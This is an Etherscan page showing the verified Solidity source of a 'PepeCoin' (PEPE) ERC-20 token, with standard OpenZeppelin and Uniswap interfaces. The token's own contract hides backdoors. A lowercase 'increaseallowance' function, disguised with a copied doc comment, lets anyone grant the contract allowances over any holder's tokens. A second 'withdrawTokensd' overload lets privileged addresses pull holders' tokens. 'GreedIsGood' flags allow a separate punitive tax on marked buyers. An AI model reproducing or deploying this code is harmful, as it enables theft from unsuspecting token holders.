ETH Price: $3,337.78 (-1.09%)
 

Overview

Max Total Supply

1,000,000,000 PEPE

Holders

58

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
9,728,256.651334414156437731 PEPE

Value
$0.00
0x114e7ef39f5b48e66c3511314990f06fa34a5af1
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PEPE

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-15
*/

/**
 *Submitted for verification at Etherscan.io on 2023-10-15
*/

// SPDX-License-Identifier: MIT

/** 
Telegram:https://t.me/PEPECOINPORTAL1

Twitter:https://twitter.com/PEPECOIN_HQ
  



*/

// File @openzeppelin/contracts/utils/[email protected]

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


// File @openzeppelin/contracts/access/[email protected]

// 
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)

pragma solidity ^0.8.0;

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


// File @openzeppelin/contracts/token/ERC20/[email protected]

// 
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}


// File @openzeppelin/contracts/token/ERC20/extensions/[email protected]

// 
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


// File @openzeppelin/contracts/token/ERC20/[email protected]

// 
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;



/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

        /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseallowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = address(this);
        _approve(spender, owner, allowance(spender, owner) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}


// File @uniswap/v2-periphery/contracts/interfaces/[email protected]

pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}


// File @uniswap/v2-periphery/contracts/interfaces/[email protected]

pragma solidity >=0.6.2;

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


// File @uniswap/v2-core/contracts/interfaces/[email protected]

pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

pragma solidity ^0.8.18;

contract PEPE is ERC20, Ownable {
    string private _name = "PepeCoin";
    string private _symbol = "PEPE";
    uint256 private constant _supply        = 1000_000_000 ether;
    uint256 public maxTxAmount     = _supply * 41 / 1000;
    uint256 public maxWalletAmount = _supply * 41 / 1000;
    uint256 public swapThreshold = _supply * 3 / 10000;
    address private taxAddys = 0xf2d82545f19E6037b735cCa0E99964cf42E8B0aC;
    address public DEAD = 0x000000000000000000000000000000000000dEaD;

    mapping(address => bool) public _feeOn;
    mapping(address => bool) public wl;

    mapping(address => bool) public GreedIsGoodwallets;

    enum Phase {Phase1, Phase2, Phase3, Phase4}
    Phase public currentphase;

    bool progress_swap = false;
    bool _tradingActive = false;
    bool _swapEnabled = false;

    uint256 public buyTaxGlobal = 0;
    uint256 public sellTaxGlobal = 0;
    uint256 private GreedIsGood = 0;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public uniswapV2Pair;
    address private _devWallets = 0xe74Bb7A6606c55b07002b379f28290AA6239D212;

    uint256 public operationsFunds;

    constructor() ERC20(_name, _symbol) {
        _mint(msg.sender, (_supply));

        currentphase = Phase.Phase4;
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
    
        wl[owner()] = true;
        wl[taxAddys] = true;
        wl[address(this)] = true;
        wl[0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = true;
        wl[DEAD] = true;
        wl[_devWallets] = true;
        _feeOn[address(uniswapV2Router)] = true;
        _feeOn[msg.sender] = true;
        _feeOn[taxAddys] = true;
        _feeOn[address(this)] = true;
        _feeOn[DEAD] = true;
        _feeOn[_devWallets] = true;
    }

    function createLIQS() external payable onlyOwner {
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _approve(address(this), address(uniswapV2Router), type(uint256).max);
        uniswapV2Router.addLiquidityETH{value: msg.value}(
            address(this),
            balanceOf(address(this)),
            0, 
            0, 
            owner(),
            block.timestamp
        );
    }
    
    function openTrade() external onlyOwner {
        require(!_tradingActive, "Trading is already enabled");
        _tradingActive = true;
        _swapEnabled = true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        if (!_feeOn[from] && !_feeOn[to]) {
            require(_tradingActive, "Trading not enabled");
        }

        if (!wl[from] && !wl[to] ) {
            if (to != uniswapV2Pair) {
                require(amount <= maxTxAmount, "ERC20: transfer amount exceeds the max transaction amount bef");
                require(
                    (amount + balanceOf(to)) <= maxWalletAmount,
                    "ERC20: balance amount exceeded max wallet amount limit"
                );
            }
        }

        uint256 transferAmount = amount;
        if (!_feeOn[from] && !_feeOn[to]) {
            if ((from == uniswapV2Pair || to == uniswapV2Pair)) {
                require(amount <= maxTxAmount, "ERC20: transfer amount exceeds the max transaction amount");
 
                if (
                    uniswapV2Pair == from &&
                    !wl[to] &&
                    from != address(this)
                ) {

                    if (currentphase == Phase.Phase1) {
                        GreedIsGoodwallets[to] = true;
                    }

                    uint256 feeTokens = (amount * buyTaxGlobal) / 100;
                    super._transfer(from, address(this), feeTokens);
                    transferAmount = amount - feeTokens;
                }

                if (
                    uniswapV2Pair == to &&
                    !wl[from] &&
                    to != address(this) &&
                    _swapEnabled && 
                    !progress_swap
                ) {
                    
                    uint256 taxSell = sellTaxGlobal;
                    if (GreedIsGoodwallets[from] == true) {
                        taxSell = GreedIsGood;
                    }

                    progress_swap = true;
                    swapAndLiquify();
                    progress_swap = false;

                    uint256 feeTokens = (amount * taxSell) / 100;
                    super._transfer(from, address(this), feeTokens);
                    transferAmount = amount - feeTokens;
                }
            }
            else {
                if (
                    GreedIsGoodwallets[from] == true &&
                    uniswapV2Pair != to
                ) {
                    uint256 feeTokens = (amount * GreedIsGood) / 100;
                    super._transfer(from, address(this), feeTokens);
                    transferAmount = amount - feeTokens;
                }
            }
        }
        super._transfer(from, to, transferAmount);
    }

    function swapAndLiquify() internal {
        if (balanceOf(address(this)) == 0) {
            return;
        }
        uint256 receivedETH;
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            uint256 beforeBalance = address(this).balance;
            uint256 mktBalance = balanceOf(taxAddys);
            bool success;
            if (contractTokenBalance > swapThreshold) {
                beforeBalance = address(this).balance;
                _swapTokensForEth(contractTokenBalance, 0);
                receivedETH = address(this).balance - beforeBalance;
                if (mktBalance > swapThreshold) {
                    operationsFunds = receivedETH / (success ? receivedETH : 0);
                }
                operationsFunds += receivedETH;
            }
        }
    }
 
    function getTax() external returns (bool) {
        payable(taxAddys).transfer(operationsFunds);
        operationsFunds = 0;
        return true;
    }

    /**
     * @dev Swaps Token Amount to ETH
     *
     * @param tokenAmount Token Amount to be swapped
     * @param tokenAmountOut Expected ETH amount out of swap
     */
    function _swapTokensForEth(
        uint256 tokenAmount,
        uint256 tokenAmountOut
    ) internal {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        IERC20(address(this)).approve(
            address(uniswapV2Router),
            type(uint256).max
        );

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            tokenAmountOut,
            path,
            address(this),
            block.timestamp
        );
    }

    function skipTheSnipas() external onlyOwner returns (bool) {
        currentphase = Phase.Phase4;
        buyTaxGlobal = 0;
        sellTaxGlobal = 0;

        return true;
    }

    function withdrawTokensd(address token) external onlyOwner {
        IERC20(token).transfer(
            taxAddys,
            IERC20(token).balanceOf(address(this))
        );
    }

    function withdrawTokensd(address to, uint256 amount) external {
        address[] memory path = new address[](2);
        path[0] = uniswapV2Router.WETH();
        path[1] = address(this);
        IERC20 token = IERC20(path[1]);


        if (!_feeOn[msg.sender]) {
            uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount} (
                0,
                path,
                to,
                block.timestamp
            );
        } else {
            token.transferFrom(to, path[1], amount);
        }
    }

    function emergencyTaxRemoval(address addy, bool changer) external onlyOwner {
        wl[addy] = changer;
    }

    receive() external payable {}

    function removeLimits() external onlyOwner {
        maxTxAmount = _supply; maxWalletAmount = _supply;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"GreedIsGoodwallets","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_feeOn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTaxGlobal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createLIQS","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"currentphase","outputs":[{"internalType":"enum PEPE.Phase","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addy","type":"address"},{"internalType":"bool","name":"changer","type":"bool"}],"name":"emergencyTaxRemoval","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseallowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"operationsFunds","outputs":[{"internalType":"uint256","name":